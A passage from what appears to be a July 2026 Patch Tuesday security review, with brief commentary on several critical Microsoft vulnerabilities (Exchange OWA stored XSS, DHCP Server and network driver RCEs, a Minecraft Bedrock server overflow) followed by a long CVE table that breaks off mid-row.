- Microsoft Exchange Server Spoofing VulnerabilityIgnore the title here and treat this like the XSS bug it is. The vulnerability is listed as a CVSS 9.6 since it\u2019s a stored cross-site scripting flaw in Outlook Web Access, with a scope-changed impact that lets it break out of the web app context entirely. An attacker sends a specially crafted email, and if the victim simply opens it in OWA, arbitrary JavaScript executes in their browser session \u2014 no attachment needed, no macro warning, just viewing the message does it. If you\u2019re using OWA, test and deploy this one quickly.\n-    CVE-2026-50518 - Windows DHCP Server Remote Code Execution VulnerabilityThere are a couple of these DHCP RCE patches in this release, but the other has caveats while this one does not. Both are heap-based buffer overflows scoring CVSS 9.8, both unauthenticated and network-reachable. If you're running DHCP Server role on anything Internet-adjacent (you're not, right?), these move to the top of the list.\n-    CVE-2026-56188 - Windows Server Network driver Remote Code Execution VulnerabilityAnother Critical-rated bug, this one is caused by a race condition. It\u2019s always fun to see a TOCTOU bug rated this high, since race conditions are notoriously finicky to exploit reliably. While it may prove tricky to exploit, this bug could allow an attacker to execute privileged code over the network without user interaction. Don\u2019t let the race condition lull you to sleep on a wormable bug.\n-    CVE-2026-55010 - Minecraft Bedrock Dedicated Server Remote Code Execution VulnerabilityFile this in the \u201cwhy not\u201d category. This bug is a heap-based buffer overflow in Minecraft Bedrock Dedicated Server, also CVSS 9.8 and also unauthenticated RCE. Yes, your kid\u2019s Minecraft server (it is your kid\u2019s server, right?) is exposed to the same class of bug as your DHCP infrastructure. Patch it anyway.\nHere\u2019s the full list of CVEs released by Microsoft for July 2026:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n \n \n \n \n  CVE\n  Title\n  Severity\n  CVSS\n  Public\n  Exploited\n  Type\n \n \n  CVE-2026-56155\n  Active Directory\n  Federation Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-56164\n  Microsoft SharePoint\n  Server Elevation of Privilege Vulnerability\n  Moderate\n  5.3\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-50661\n  Windows BitLocker\n  Security Feature Bypass Vulnerability\n  Important\n  6.1\n  Yes\n  No\n  SFB\n \n \n  CVE-2026-54121\n  Active Directory\n  Certificate Services Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-45499 **\n  Azure OpenAI Elevation\n  of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-48564\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50370\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56159\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50382\n  DirectX Graphics\n  Kernel Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-41106 **\n  Microsoft 365 Copilot\n  Elevation of Privilege Vulnerability\n  Critical\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-26145 **\n  Microsoft Azure\n  Synapse Elevation of Privilege Vulnerability\n  Critical\n  4.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-48561\n  Microsoft Copilot\n  Remote Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-55011\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55012\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55944\n  Microsoft Dynamics NAV\n  and Microsoft Dynamics 365 Business Central (On Premises) Remote Code\n  Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57100 **\n  Microsoft Entra\n  Provisioning Service Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55041\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54998 **\n  Microsoft Exchange\n  Online Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55008\n  Microsoft Exchange\n  Server Spoofing Vulnerability\n  Critical\n  9.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-54992\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50314\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50467\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55018\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55022\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55045\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-55049\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55129\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55056\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55140\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55043\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55123\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55120\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50522\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58644\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55040\n  Microsoft SharePoint\n  Server Security Feature Bypass Vulnerability\n  Critical\n  9.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-54117\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54118\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50655\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56189\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57090\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57094\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57087\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57092\n  Microsoft Windows\n  VMSwitch Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55033\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55127\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55132\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55010\n  Minecraft Bedrock\n  Dedicated Server Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50474\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49164\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-54128\n  Windows DHCP Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50518\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49796\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50380\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-54127\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  7.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-50680\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50327\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58542\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58608\n  Windows Print Spooler\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54982\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54995\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-42982\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50392\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50694\n  Windows Secure Socket\n  Tunneling Protocol (SSTP) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-56188\n  Windows Server Network\n  driver Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50444\n  Windows Server Update\n  Service (WSUS) Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54999\n  Windows TCP/IP Remote\n  Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47302\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50525\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50651\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57108\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50524\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50527\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50648\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50650\n  .NET Framework\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50646\n  .NET Framework Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50649\n  .NET Remote Code\n  Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47304\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50528\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-50659\n  .NET Spoofing\n  Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-50526\n  .NET Tampering\n  Vulnerability\n  Important\n  7\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50682\n  Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.1\n  No\n  No\n  DoS\n \n \n  CVE-2026-55001\n  Active Directory\n  Domain Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50647\n  Active Directory\n  Federation Server Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50684\n  Active Directory\n  Federation Server Spoofing Vulnerability\n  Important\n  4.8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56170\n  ASP.NET Core Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-47300\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47303\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50652\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50653\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57969\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58279\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  6.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-47632\n  Azure Monitor Agent\n  Metrics Extension Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50338\n  Azure Spring Apps\n  Elevation of Privilege Vulnerability\n  Important\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50488\n  Clipboard User Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50491\n  Code Integrity DLL\n  (ci.dll) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50381\n  Composite Image File\n  System driver (cimfs.sys) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50427\n  Content Delivery\n  Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50692\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58633\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58634\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50296\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50375\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50353\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50493\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56643\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56644\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58629\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49174\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50495\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-57088\n  Extensible Storage\n  Engine (ESENT) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50663\n  Game: Age of Empires\n  II: Definitive Edition Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47282\n  GitHub Copilot and\n  Visual Studio Code Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41109\n  GitHub Copilot and\n  Visual Studio Code Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-50510\n  GitHub Copilot Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49787\n  HTTP.sys Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50420\n  HTTP.sys Information\n  Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49788\n  HTTP/2 Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50696\n  Internet Key Exchange\n  (IKE) Protocol Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58617\n  M365 Copilot for iOS\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-58595\n  Microsoft Bing App for\n  IOS Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-49162\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50305\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50361\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50466\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50458\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50658\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56178\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50657\n  Microsoft Defender for\n  Endpoint for Mac Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50329\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58541\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58596\n  Microsoft Edge\n  (Chromium-based) Elevation of Privilege Vulnerability\n  Important\n  8.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-57991\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  7.4\n  No\n  No\n  Info\n \n \n  CVE-2026-58291\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57981\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57984\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57985\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-57986\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57988\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-57992\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58276\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-56645\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57974\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57975\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58281\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58284\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58285\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58287\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58288\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58289\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  9\n  No\n  No\n  RCE\n \n \n  CVE-2026-58290\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58292\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58293\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58294\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57983\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.7\n  No\n  No\n  SFB\n \n \n  CVE-2026-58295\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.3\n  No\n  No\n  SFB\n \n \n  CVE-2026-58525\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-57987\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58278\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56646\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57977\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57993\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58282\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58283\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58286\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58298\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.2\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58524\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58296\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58297\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58300\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58522\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-58299\n  Microsoft Edge for\n  Android Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58523\n  Microsoft Edge for\n  Android Security Feature Bypass Vulnerability\n  Important\n  6.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50678\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.6\n  No\n  No\n  Info\n \n \n  CVE-2026-54988\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-48580\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50408\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55046\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55138\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55054\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55122\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55898\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50675\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55899\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55948\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58618\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47642\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55024\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55025\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55031\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55048\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55029\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55039\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55136\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55141\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55036\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  